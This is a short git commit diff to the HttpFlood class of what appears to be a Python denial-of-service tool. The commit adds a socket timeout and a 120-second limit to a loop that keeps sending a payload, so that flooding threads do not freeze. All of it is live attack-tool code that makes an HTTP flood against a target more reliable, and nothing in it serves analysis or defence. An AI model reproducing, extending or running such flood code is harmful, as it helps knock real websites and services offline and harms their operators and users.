Reset frozen threads

This commit is contained in:
anochuv 2022-03-14 21:44:21 +02:00
parent c696ea8c35
commit 509f285601

View File

@ -586,6 +586,7 @@ class HttpFlood(Thread):
sock = socket(AF_INET, SOCK_STREAM)
sock.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
sock.settimeout(60)
sock.connect(self._raw_target)
if self._target.scheme.lower() == "https":
@ -761,8 +762,10 @@ class HttpFlood(Thread):
with suppress(Exception), self.open_connection() as s:
Tools.send(s, payload)
sleep(5.01)
ts = time()
for _ in range(self._rpc):
Tools.send(s, payload)
if time() > ts + 120: break
Tools.safe_close(s)
def AVB(self):